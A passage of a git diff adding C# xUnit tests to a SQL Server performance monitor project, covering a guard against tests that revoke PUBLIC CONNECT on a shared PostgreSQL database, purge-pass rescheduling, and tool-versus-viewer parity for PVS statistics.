+/// then revoked, and the comparison names the database (the revoke is on this test's own scratch database, never on
+/// the shared one); and the collection that needs the guard still carries it.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PublicConnectCatalogReadLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void ThePgClusterRolesCollection_CarriesTheGuard()
+    {
+        /* The guard only guards what it is attached to. Taking it off the collection would leave the next test that
+           revokes the privilege to be found the way #5618 was, by the victim's name in a nightly run. */
+        Assert.Single(typeof(PgClusterRolesCollection).GetCustomAttributes<PublicConnectGuardAttribute>());
+    }
+
+    [Fact]
+    public async Task TheCatalogRead_SeesAGrantAndARevokeOfPublicConnect()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5618 guard read.");
+        var ct = TestContext.Current.CancellationToken;
+
+        /* #1776 own-store: the revoke below is on this test's own scratch database, never on the shared one. */
+        await using var scratch = await ScratchPostgres.CreateAsync(cs!, ct);
+
+        var before = PublicConnectGuardAttribute.PublicConnectOn(cs!, scratch.DatabaseName, "database_that_does_not_exist_5618");
+        Assert.Equal([scratch.DatabaseName], before.Keys.ToArray());
+        Assert.True(before[scratch.DatabaseName], "a new database grants CONNECT to PUBLIC");
+
+        await using (var admin = new NpgsqlConnection(cs))
+        {
+            await admin.OpenAsync(ct);
+            await using var revoke = new NpgsqlCommand($"REVOKE ALL ON DATABASE \"{scratch.DatabaseName}\" FROM PUBLIC", admin);
+            await revoke.ExecuteNonQueryAsync(ct);
+        }
+
+        var after = PublicConnectGuardAttribute.PublicConnectOn(cs!, scratch.DatabaseName);
+        Assert.False(after[scratch.DatabaseName]);
+        Assert.Equal([scratch.DatabaseName], PublicConnectDelta.DatabasesThatLostPublicConnect(before, after));
+
+        /* The default read names the connection's own database, as CI has it. */
+        var shared = PublicConnectGuardAttribute.PublicConnectOn(cs!);
+        Assert.Contains(new NpgsqlConnectionStringBuilder(cs).Database!, shared.Keys);
+    }
+}
diff --git a/Darling/Darling.Tests/PublicConnectDelta.cs b/Darling/Darling.Tests/PublicConnectDelta.cs
new file mode 100644
index 0000000000..bb53580884
--- /dev/null
+++ b/Darling/Darling.Tests/PublicConnectDelta.cs
@@ -0,0 +1,30 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The comparison the PUBLIC-CONNECT guard makes between two reads of PUBLIC's CONNECT (#5618). Its own
+/// type, and free of any store access, so a guard-stage test can pin it without a PostgreSQL server.
+/// </summary>
+internal static class PublicConnectDelta
+{
+    /// <summary>The databases whose PUBLIC CONNECT was granted in <paramref name="before"/> and is revoked in
+    /// <paramref name="after"/>, in name order. A database missing from either side, or revoked in both, is not a change.</summary>
+    internal static IReadOnlyList<string> DatabasesThatLostPublicConnect(
+        IReadOnlyDictionary<string, bool> before, IReadOnlyDictionary<string, bool> after) =>
+        before
+            .Where(b => b.Value && after.TryGetValue(b.Key, out var now) && !now)
+            .Select(b => b.Key)
+            .OrderBy(name => name, StringComparer.Ordinal)
+            .ToList();
+}
diff --git a/Darling/Darling.Tests/PublicConnectGuardAttribute.cs b/Darling/Darling.Tests/PublicConnectGuardAttribute.cs
new file mode 100644
index 0000000000..72e0ff60e3
--- /dev/null
+++ b/Darling/Darling.Tests/PublicConnectGuardAttribute.cs
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using Xunit.v3;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Fails the test that leaves PUBLIC without <c>CONNECT</c> on the shared test database (#5618).
+///
+/// <para><b>Why it exists.</b> The product's managed provisioning batch writes
+/// <c>REVOKE ALL ON DATABASE darling FROM PUBLIC</c>, and database privileges live in <c>pg_database</c>, which every
+/// database in the cluster shares. A live test that ran that batch inside its own scratch database still took CONNECT
+/// away from PUBLIC on the cluster's <c>darling</c> database, and nothing gave it back. The next test that opened a
+/// connection as a freshly created role (a role has CONNECT only through PUBLIC) failed with 42501, and it was
+/// that victim, not the test that did it, whose name appeared in the nightly run. This puts the failure on the test
+/// that does it.</para>
+///
+/// <para><b>What it compares.</b> PUBLIC's CONNECT on each database before the test against the same read after it,
+/// and fails only a change from granted to revoked. It does not demand that PUBLIC hold CONNECT: a developer's own
+/// managed store has it revoked on purpose, and a guard that failed there would fail every test in the collection.
+/// The databases are the one <c>DARLING_TEST_PG</c> names and the managed store's fixed name <c>darling</c>, which are
+/// one database in CI and two on a laptop that keeps its suite in another database.</para>
+///
+/// <para><b>Where it runs.</b> On <see cref="PgClusterRolesCollection"/>, the collection for the tests that change
+/// cluster-wide state under fixed names. That collection runs alone, so a change between one test's start and end is
+/// that test's. <see cref="PgClusterObjectCensusTests"/> keeps every other class that changes a database-level
+/// privilege out of the parallel collections. Without <c>DARLING_TEST_PG</c> it does nothing, as the tests skip.</para>
+///
+/// <para><b>#1776 own-store</b>, not <c>[Collection("live-postgres")]</c>: it reads one cluster-wide catalog
+/// (<c>pg_database</c>) and no row or relation of the shared store, so it has nothing to serialize. It runs around the
+/// tests of the one collection that does.</para>
+/// </summary>
+[AttributeUsage(AttributeTargets.Class, AllowMultiple = false, Inherited = false)]
+public sealed class PublicConnectGuardAttribute : BeforeAfterTestAttribute
+{
+    /// <summary>The state read in <see cref="Before"/>. Static so it does not depend on whether xUnit reuses one attribute
+    /// instance; the collection it guards runs one test at a time, so one slot is enough.</summary>
+    private static Dictionary<string, bool>? s_before;
+
+    public override void Before(MethodInfo methodUnderTest, IXunitTest test)
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        s_before = string.IsNullOrEmpty(cs) ? null : PublicConnectOn(cs);
+    }
+
+    public override void After(MethodInfo methodUnderTest, IXunitTest test)
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        var before = s_before;
+        s_before = null;
+        if (string.IsNullOrEmpty(cs) || before is null)
+        {
+            return;
+        }
+
+        var lost = PublicConnectDelta.DatabasesThatLostPublicConnect(before, PublicConnectOn(cs));
+        if (lost.Count > 0)
+        {
+            throw new InvalidOperationException(
+                $"{test.TestDisplayName} left PUBLIC without CONNECT on database {string.Join(", ", lost.Select(d => "\"" + d + "\""))} " +
+                "(#5618). Database privileges live in the cluster's shared catalog, so a test that runs the managed provisioning batch " +
+                "(ProvisioningTarget.Managed, whose PUBLIC revoke names the shared database) takes CONNECT away " +
+                "from every later test that relies on it. Point the batch at the test's own scratch database " +
+                "(ProvisioningTarget.ComposeStore(owner, scratch.DatabaseName), or the managed text with its database-level statements retargeted), " +
+                "or grant CONNECT back in a finally.");
+        }
+    }
+
+    /// <summary>
+    /// Whether PUBLIC holds CONNECT on each of <paramref name="databases"/> that exists on the cluster
+    /// <paramref name="connectionString"/> reaches (<c>DARLING_TEST_PG</c>'s own database and the managed store's
+    /// fixed name when none is passed). Unpooled: a pooled session must not outlive a read of a shared catalog.
+    /// </summary>
+    internal static Dictionary<string, bool> PublicConnectOn(string connectionString, params string[] databases)
+    {
+        var builder = new NpgsqlConnectionStringBuilder(connectionString) { Pooling = false };
+        var names = databases.Length > 0
+            ? databases
+            : new[] { builder.Database ?? string.Empty, ProvisioningTarget.Managed.DatabaseIdentifier };
+
+        using var connection = new NpgsqlConnection(builder.ConnectionString);
+        connection.Open();
+        using var command = new NpgsqlCommand(
+            "SELECT datname, has_database_privilege('public', datname, 'CONNECT') FROM pg_database WHERE datname = ANY (@names)", connection);
+        command.Parameters.AddWithValue("names", names.Distinct(StringComparer.Ordinal).ToArray());
+        var state = new Dictionary<string, bool>(StringComparer.Ordinal);
+        using var reader = command.ExecuteReader();
+        while (reader.Read())
+        {
+            state[reader.GetString(0)] = reader.GetBoolean(1);
+        }
+
+        return state;
+    }
+}
diff --git a/Darling/Darling.Tests/PublicConnectGuardTests.cs b/Darling/Darling.Tests/PublicConnectGuardTests.cs
new file mode 100644
index 0000000000..d395ac1f13
--- /dev/null
+++ b/Darling/Darling.Tests/PublicConnectGuardTests.cs
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The guard that fails the test which leaves PUBLIC without CONNECT on the shared test database (#5618), and its
+/// comparison. No store is touched.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class PublicConnectGuardTests
+{
+    [Fact]
+    public void OnlyAGrantedToRevokedChange_IsReported()
+    {
+        var before = new Dictionary<string, bool>
+        {
+            ["darling"] = true,
+            ["suite"] = true,
+            ["already_revoked"] = false,
+            ["regranted"] = false,
+            ["vanished"] = true,
+        };
+        var after = new Dictionary<string, bool>
+        {
+            ["darling"] = false,
+            ["suite"] = true,
+            ["already_revoked"] = false,
+            ["regranted"] = true,
+            ["newcomer"] = false,
+        };
+
+        /* "darling" lost it; "suite" kept it; "already_revoked" was not granted to begin with (a developer's own managed
+           store), so it is not this test's doing; "regranted" went the other way; a database that appears or disappears
+           between the two reads is not a change of the privilege. */
+        Assert.Equal(["darling"], PublicConnectDelta.DatabasesThatLostPublicConnect(before, after));
+    }
+}
diff --git a/Darling/Darling.Tests/PurgeContinuationTests.cs b/Darling/Darling.Tests/PurgeContinuationTests.cs
new file mode 100644
index 0000000000..5bfbbf9b5b
--- /dev/null
+++ b/Darling/Darling.Tests/PurgeContinuationTests.cs
@@ -0,0 +1,275 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5592: a retention pass that stopped on its wall budget with tables left must not wait a whole day for the rest.
+/// <see cref="DarlingWorker.TryStartScheduledPurge"/> stamps the next pass 24 hours out when it launches;
+/// <see cref="DarlingWorker.NotePurgePassEnded"/> (called by the scheduled pass and by <c>purge_now</c> when the sweep
+/// returns) pulls that stamp in to at most one hour after the pass ended. Each test drives the real launchers with a
+/// delegate that reports the way the real passes do, and reads the outcome as "is the next launch due at this time".
+/// </summary>
+public sealed class PurgeContinuationTests
+{
+    private static readonly DateTime T0 = new(2026, 10, 8, 3, 0, 0, DateTimeKind.Utc);
+
+    private static DarlingWorker MakeWorker(out CapturingTestLogger log)
+    {
+        var captured = new CapturingTestLogger();
+        log = captured;
+        return new DarlingWorker(
+            new WorkerLogger(captured),
+            NullLoggerFactory.Instance,
+            new McpRuntimeState(),
+            new WebRuntimeState(),
+            new MonitoredServerRegistryState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache(),
+            new ReadLatencyAccumulator());
+    }
+
+    private static readonly PurgeSummary BudgetStopped = new(TablesPurged: 12, RowsDeleted: 5_000, ChunksDropped: 0, TablesLeftOnBudget: 15);
+    private static readonly PurgeSummary Finished = new(TablesPurged: 27, RowsDeleted: 5_000, ChunksDropped: 0);
+
+    /// <summary>Launches a scheduled pass at <paramref name="at"/> and lets it finish, so the slot is free.</summary>
+    private static async Task LaunchAndFinishAsync(DarlingWorker worker, DateTime at, Func<DarlingWorker, Task>? body = null)
+    {
+        Assert.True(worker.TryStartScheduledPurge(at, async _ => { if (body is not null) { await body(worker); } }, CancellationToken.None));
+        await WaitForSlotAsync(worker, at);
+    }
+
+    /// <summary>Waits until the slot is free: a launch attempt at a far-future time that is not due must not say "still running".</summary>
+    private static async Task WaitForSlotAsync(DarlingWorker worker, DateTime _)
+    {
+        for (var i = 0; i < 200 && worker.PurgeSlotBusyForTest; i++)
+        {
+            await Task.Delay(10);
+        }
+
+        Assert.False(worker.PurgeSlotBusyForTest);
+    }
+
+    private static bool DueAt(DarlingWorker worker, DateTime at) =>
+        worker.TryStartScheduledPurge(at, _ => Task.CompletedTask, CancellationToken.None);
+
+    [Fact]
+    public async Task ABudgetStoppedScheduledPass_MakesTheNextLaunchDueWithinAnHourOfItsEnd()
+    {
+        var worker = MakeWorker(out var log);
+        var end = T0.AddMinutes(30);
+
+        await LaunchAndFinishAsync(worker, T0, w =>
+        {
+            Assert.True(w.NotePurgePassEnded(BudgetStopped, end));
+            return Task.CompletedTask;
+        });
+
+        Assert.False(DueAt(worker, end.AddMinutes(59)));
+        Assert.True(DueAt(worker, end.AddMinutes(61)));
+        Assert.Contains(
+            log.Lines,
+            line => line.StartsWith("Information:", StringComparison.Ordinal)
+                && line.Contains("15 table(s) left", StringComparison.Ordinal)
+                && line.Contains(end.AddHours(1).ToString("O"), StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task AFinishedPass_KeepsTheDailyStamp()
+    {
+        var worker = MakeWorker(out var log);
+        var end = T0.AddMinutes(30);
+
+        await LaunchAndFinishAsync(worker, T0, w =>
+        {
+            Assert.False(w.NotePurgePassEnded(Finished, end));
+            return Task.CompletedTask;
+        });
+
+        Assert.False(DueAt(worker, end.AddHours(2)));
+        Assert.False(DueAt(worker, T0.AddHours(23)));
+        Assert.True(DueAt(worker, T0.AddHours(25)));
+        Assert.DoesNotContain(log.Lines, line => line.Contains("table(s) left", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ABudgetStoppedPurgeNow_PullsTheStampIn()
+    {
+        var worker = MakeWorker(out _);
+        await LaunchAndFinishAsync(worker, T0);
+
+        /* purge_now runs in the same slot; it ends well before the daily time, and stopped on its budget. */
+        var end = T0.AddHours(2);
+        var outcome = worker.TryStartPurgeNow(
+            _ =>
+            {
+                Assert.True(worker.NotePurgePassEnded(BudgetStopped, end));
+                return Task.CompletedTask;
+            },
+            customRetentionDays: null,
+            CancellationToken.None);
+        Assert.True(outcome.Success);
+        await WaitForSlotAsync(worker, end);
+
+        Assert.False(DueAt(worker, end.AddMinutes(59)));
+        Assert.True(DueAt(worker, end.AddMinutes(61)));
+    }
+
+    [Fact]
+    public async Task AStampAlreadySoonerThanEndPlusAnHour_IsNotPushedOut()
+    {
+        var worker = MakeWorker(out _);
+        await LaunchAndFinishAsync(worker, T0);
+
+        /* A first stopped pass ends at T0+1h, so the stamp becomes T0+2h. */
+        Assert.True(worker.NotePurgePassEnded(BudgetStopped, T0.AddHours(1)));
+
+        /* A second one ends at T0+5h; end + 1 h is later than the stamp, so the stamp stays. */
+        Assert.False(worker.NotePurgePassEnded(BudgetStopped, T0.AddHours(5)));
+        Assert.True(DueAt(worker, T0.AddHours(2).AddMinutes(1)));
+
+        /* And the daily stamp itself, when it is the sooner one, stays too: ending at 23.5 h would pull to 24.5 h. */
+        var other = MakeWorker(out _);
+        await LaunchAndFinishAsync(other, T0);
+        Assert.False(other.NotePurgePassEnded(BudgetStopped, T0.AddHours(23.5)));
+        Assert.False(DueAt(other, T0.AddHours(23)));
+        Assert.True(DueAt(other, T0.AddHours(24).AddMinutes(1)));
+    }
+
+    [Fact]
+    public async Task AStampLeftInTheFutureByAClockStepBack_IsPulledInToAnHourAfterTheEnd()
+    {
+        /* #4732: the pass launched while the clock read ten days ahead, so its daily stamp sits at +11 days; the clock then
+           stepped back to T0 and the sweep stopped on its budget there. The stamp is the later of the two, so the
+           continuation replaces it: due an hour after the end, not stranded for the size of the step and not due at once
+           (which would start the next drain with no gap for collection). */
+        var worker = MakeWorker(out _);
+        await LaunchAndFinishAsync(worker, T0.AddDays(10));
+
+        Assert.True(worker.NotePurgePassEnded(BudgetStopped, T0));
+        Assert.False(DueAt(worker, T0.AddMinutes(59)));
+        Assert.True(DueAt(worker, T0.AddMinutes(61)));
+    }
+
+    [Fact]
+    public void SoonerStamp_IsTheEarlierOfTwoAbsoluteTimes_AndTiesKeepTheFirst()
+    {
+        Assert.Equal(T0, DarlingWorker.SoonerStamp(T0, T0.AddHours(1)));
+        Assert.Equal(T0, DarlingWorker.SoonerStamp(T0.AddHours(1), T0));
+        Assert.Equal(T0, DarlingWorker.SoonerStamp(T0, T0));
+        Assert.Equal(DateTime.MinValue, DarlingWorker.SoonerStamp(DateTime.MinValue, T0));
+    }
+
+    [Fact]
+    public async Task ACancelledOrFailedPass_ChangesNothing()
+    {
+        var worker = MakeWorker(out var log);
+
+        /* A cancelled sweep throws out of PurgeAsync, so the note after it is never reached: the stamp stays at 24 h. */
+        await LaunchAndFinishAsync(worker, T0, _ => throw new OperationCanceledException());
+        Assert.False(DueAt(worker, T0.AddHours(3)));
+        Assert.True(DueAt(worker, T0.AddHours(25)));
+
+        /* A failed sweep returns a summary with no tables left on budget (the run-record carries the ERROR). */
+        var failed = MakeWorker(out _);
+        await LaunchAndFinishAsync(failed, T0, w =>
+        {
+            Assert.False(w.NotePurgePassEnded(new PurgeSummary(3, 0, 0), T0.AddMinutes(5)));
+            return Task.CompletedTask;
+        });
+        Assert.False(DueAt(failed, T0.AddHours(3)));
+        Assert.True(DueAt(failed, T0.AddHours(25)));
+        Assert.DoesNotContain(log.Lines, line => line.Contains("table(s) left", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task TheContinuation_NeverStartsASecondPass_WhileThePassIsStillRunning()
+    {
+        var worker = MakeWorker(out _);
+        var gate = new TaskCompletionSource();
+        Assert.True(worker.TryStartScheduledPurge(T0, _ => gate.Task, CancellationToken.None));
+
+        /* The sweep returned (stamp pulled in) but the pass is still in its follow-on chores: the slot is held. */
+        Assert.True(worker.NotePurgePassEnded(BudgetStopped, T0.AddMinutes(30)));
+        var secondRan = false;
+        Assert.False(worker.TryStartScheduledPurge(T0.AddHours(2), _ => { secondRan = true; return Task.CompletedTask; }, CancellationToken.None));
+        Assert.False(secondRan);
+
+        gate.SetResult();
+        await WaitForSlotAsync(worker, T0);
+        Assert.True(DueAt(worker, T0.AddHours(2)));
+    }
+
+    [Fact]
+    public void ThePulledInStamp_PassesTheStampIsDueSpanCheck()
+    {
+        /* #4732: a stamp more than one interval ahead is read as a clock that stepped back and counts as due. The
+           continuation stamp is sooner than the daily one, so it is inside the span and decides as a plain comparison. */
+        var stamp = T0.AddHours(1);
+        Assert.False(DarlingWorker.StampIsDue(stamp, TimeSpan.FromHours(24), T0.AddMinutes(30)));
+        Assert.True(DarlingWorker.StampIsDue(stamp, TimeSpan.FromHours(24), T0.AddMinutes(61)));
+    }
+
+    [Fact]
+    public void BothRunners_NoteTheEndOfTheSweep_RightAfterItReturns()
+    {
+        var worker = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+
+        var scheduled = worker.IndexOf("var purgeSummary = await DarlingRetention.PurgeAsync(", StringComparison.Ordinal);
+        Assert.True(scheduled > 0);
+        Assert.Contains("NotePurgePassEnded(purgeSummary, DateTime.UtcNow);", worker[scheduled..(scheduled + 900)], StringComparison.Ordinal);
+
+        var manual = worker.IndexOf("var summary = await DarlingRetention.PurgeAsync(", StringComparison.Ordinal);
+        Assert.True(manual > 0);
+        Assert.Contains("NotePurgePassEnded(summary, DateTime.UtcNow);", worker[manual..(manual + 1200)], StringComparison.Ordinal);
+
+        /* #5592: the stamp is written under the same lock the launchers check and set it under. */
+        var note = worker.IndexOf("internal bool NotePurgePassEnded(", StringComparison.Ordinal);
+        Assert.True(note > 0);
+        var body = System.Text.RegularExpressions.Regex.Replace(worker[note..(note + 900)], @"\s+", " ");
+        Assert.Contains("lock (_purgeTaskLock) { var sooner = SoonerStamp(_nextPurgeUtc, continueAtUtc); if (sooner == _nextPurgeUtc)", body, StringComparison.Ordinal);
+
+        /* The note is the sweep's own result: not inside a catch or finally, which would also run on a failure. */
+        Assert.DoesNotContain("finally\n        {\n            NotePurgePassEnded", worker.Replace("\r\n", "\n"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePurgeSummary_ReportsTheBudgetStopFromTheYieldsOwnCount()
+    {
+        Assert.True(BudgetStopped.StoppedOnBudget);
+        Assert.False(Finished.StoppedOnBudget);
+        Assert.False(new PurgeSummary(0, 0, 0).StoppedOnBudget);
+
+        var retention = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingRetention.cs");
+        Assert.Contains("yieldGate?.TablesLeft ?? 0);", retention, StringComparison.Ordinal);
+    }
+
+    private sealed class WorkerLogger(CapturingTestLogger inner) : ILogger<DarlingWorker>
+    {
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+            Func<TState, Exception?, string> formatter) => inner.Log(logLevel, eventId, state, exception, formatter);
+    }
+}
diff --git a/Darling/Darling.Tests/PvsSkippedFieldsParityLiveTests.cs b/Darling/Darling.Tests/PvsSkippedFieldsParityLiveTests.cs
new file mode 100644
index 0000000000..adf149ce0d
--- /dev/null
+++ b/Darling/Darling.Tests/PvsSkippedFieldsParityLiveTests.cs
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Gated live parity (DARLING_TEST_PG): on one seeded store, <c>get_pvs_stats</c> reports the same Aborted Lag,
+/// Cleanup state and three Skipped counters the desktop viewer's own read computes. Every time is a fixed anchor.
+/// A counter the server never reported is a null, never a 0.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PvsSkippedFieldsParityLiveTests
+{
+    private const int ServerId = -484301;
+    private const string ServerName = "pvs-parity-484301";
+    private static readonly DateTime Collected = new(2026, 8, 1, 4, 6, 37, DateTimeKind.Unspecified);
+    private static readonly DateTime CleanerStart = new(2026, 8, 1, 4, 6, 30, DateTimeKind.Unspecified);
+    private static readonly DateTime CleanerEnd = new(2026, 8, 1, 4, 6, 35, DateTimeKind.Unspecified);
+
+    private static async Task DeleteAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM collect.pvs_stats WHERE server_id = $1", ServerId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", ServerId);
+    }
+
+    private static Task InsertAsync(
+        NpgsqlConnection connection, CancellationToken ct, long id, string db, decimal size,
+        long active, long aborted, object? offStart, object? offEnd, object? skipSecondary, object? skipSnapshot, object? skipAborted) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO collect.pvs_stats
+(
+    collection_id, collection_time, server_id, server_name, database_name, database_id,
+    is_accelerated_database_recovery_on, pvs_filegroup_id,
+    persistent_version_store_size_mb, online_index_version_store_size_mb, database_data_size_mb,
+    current_aborted_transaction_count, oldest_active_transaction_id, oldest_aborted_transaction_id,
+    offrow_version_cleaner_start_time, offrow_version_cleaner_end_time,
+    pvs_off_row_page_skipped_low_water_mark, pvs_off_row_page_skipped_min_useful_xts,
+    pvs_off_row_page_skipped_oldest_aborted_xdesid
+)
+VALUES ($1, $2, $3, $4, $5, 15, TRUE, 1, $6, 0, 1280, 3, $7, $8, $9, $10, $11, $12, $13)",
+            id, Collected, ServerId, ServerName, db, size, active, aborted,
+            offStart ?? DBNull.Value, offEnd ?? DBNull.Value,
+            skipSecondary ?? DBNull.Value, skipSnapshot ?? DBNull.Value, skipAborted ?? DBNull.Value);
+
+    [Fact]
+    public async Task TheToolAndTheViewerRead_AgreeOnLagCleanupAndSkippedCounters()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the PVS parity live test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await DeleteAsync(connection, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+            /* Idle cleaner, all three counters reported (one a real 0), both ids set. */
+            await InsertAsync(connection, ct, 910001, "PvsParityBusy", 900m, 97388, 1244, CleanerStart, CleanerEnd, 10L, 0L, 60L);
+            /* Cleaner mid-run, the ids at the DMV's zero sentinel, no counter ever reported. */
+            await InsertAsync(connection, ct, 910002, "PvsParityQuiet", 100m, 0, 0, CleanerStart, null, null, null, null);
+            /* Cleaner never ran. */
+            await InsertAsync(connection, ct, 910003, "PvsParityFresh", 50m, 500, 0, null, null, null, null, null);
+
+            await using var postgres = NpgsqlDataSource.Create(new NpgsqlConnectionStringBuilder(cs)
+            {
+                SearchPath = PgSchemaGenerator.SearchPath,
+            }.ConnectionString);
+            using var doc = JsonDocument.Parse(await DarlingMcpPvsTools.GetPvsStats(postgres, server_name: ServerName, cancellationToken: ct));
+            var tool = doc.RootElement.GetProperty("databases").EnumerateArray()
+                .ToDictionary(d => d.GetProperty("database_name").GetString()!);
+
+            await using var viewer = new ViewerDataService(cs!);
+            var rows = await viewer.GetPvsStatsLatestAsync(ServerId, cancellationToken: ct);
+            Assert.Equal(3, rows.Count);
+
+            static long? Num(JsonElement d, string key) =>
+                d.TryGetProperty(key, out var v) && v.ValueKind == JsonValueKind.Number ? v.GetInt64() : null;
+
+            foreach (var row in rows)
+            {
+                var d = tool[row.DatabaseName];
+                Assert.Equal(row.AbortedTransactionLag, Num(d, "aborted_transaction_lag"));
+                Assert.Equal(row.CleanupState, d.GetProperty("cleanup_state").GetString());
+                Assert.Equal(row.SkippedLowWaterMark, Num(d, "skipped_low_water_mark"));
+                Assert.Equal(row.SkippedMinUsefulXts, Num(d, "skipped_min_useful_xts"));
+                Assert.Equal(row.SkippedOldestAborted, Num(d, "skipped_oldest_aborted"));
+            }
+
+            var busy = tool["PvsParityBusy"];
+            Assert.Equal(96144L, Num(busy, "aborted_transaction_lag"));
+            Assert.Equal("Idle", busy.GetProperty("cleanup_state").GetString());
+            Assert.Equal(0L, Num(busy, "skipped_min_useful_xts"));
+            var quiet = tool["PvsParityQuiet"];
+            Assert.Equal("Running", quiet.GetProperty("cleanup_state").GetString());
+            Assert.Null(Num(quiet, "aborted_transaction_lag"));
+            Assert.Null(Num(quiet, "skipped_low_water_mark"));
+            Assert.Equal("Never run", tool["PvsParityFresh"].GetProperty("cleanup_state").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, DeleteAsync);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/PvsStatsStoreTests.cs b/Darling/Darling.Tests/PvsStatsStoreTests.cs
index 6a495a891f..083cc22dd3 100644
--- a/Darling/Darling.Tests/PvsStatsStoreTests.cs
+++ b/Darling/Darling.Tests/PvsStatsStoreTests.cs
@@ -205,7 +205,7 @@ INSERT INTO collect.pvs_stats
         var bodySucceeded = false;
         try
         {
-            var rows = await viewer.GetPvsStatsLatestAsync(TestServerId, TestContext.Current.CancellationToken);
+            var rows = await viewer.GetPvsStatsLatestAsync(TestServerId, cancellationToken: TestContext.Current.CancellationToken);
 
             var row = Assert.Single(rows);
             Assert.Equal("PvsScratch1951", row.DatabaseName);
diff --git a/Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs b/Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs
index abe0e65673..76716acdd7 100644
--- a/Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs
+++ b/Darling/Darling.Tests/QsCaptureModeRouteKnobToastRungTests.cs
@@ -75,6 +75,7 @@ namespace Darling.Tests;
 /// WRITER in this rung, so the sweep names none of the three checkpointer columns — a writer pin on one file,
 /// owned by exactly one lane (#3783), which retires it when it lands the row.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class QsCaptureModeRouteKnobToastRungTests
 {
     private const int RungVersion = 137;
@@ -517,6 +518,7 @@ private static string WithoutComments(string source)
 /// dimension rows. Serialized against every other live class because it shares the store.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class QsCaptureModeRouteKnobToastLivePostgresTests
 {
     private const int ServerId = -137137;
diff --git a/Darling/Darling.Tests/QueryEventsDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/QueryEventsDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..5876fcb4db
--- /dev/null
+++ b/Darling/Darling.Tests/QueryEventsDatabaseFilterLiveTests.cs
@@ -0,0 +1,303 @@
+/*
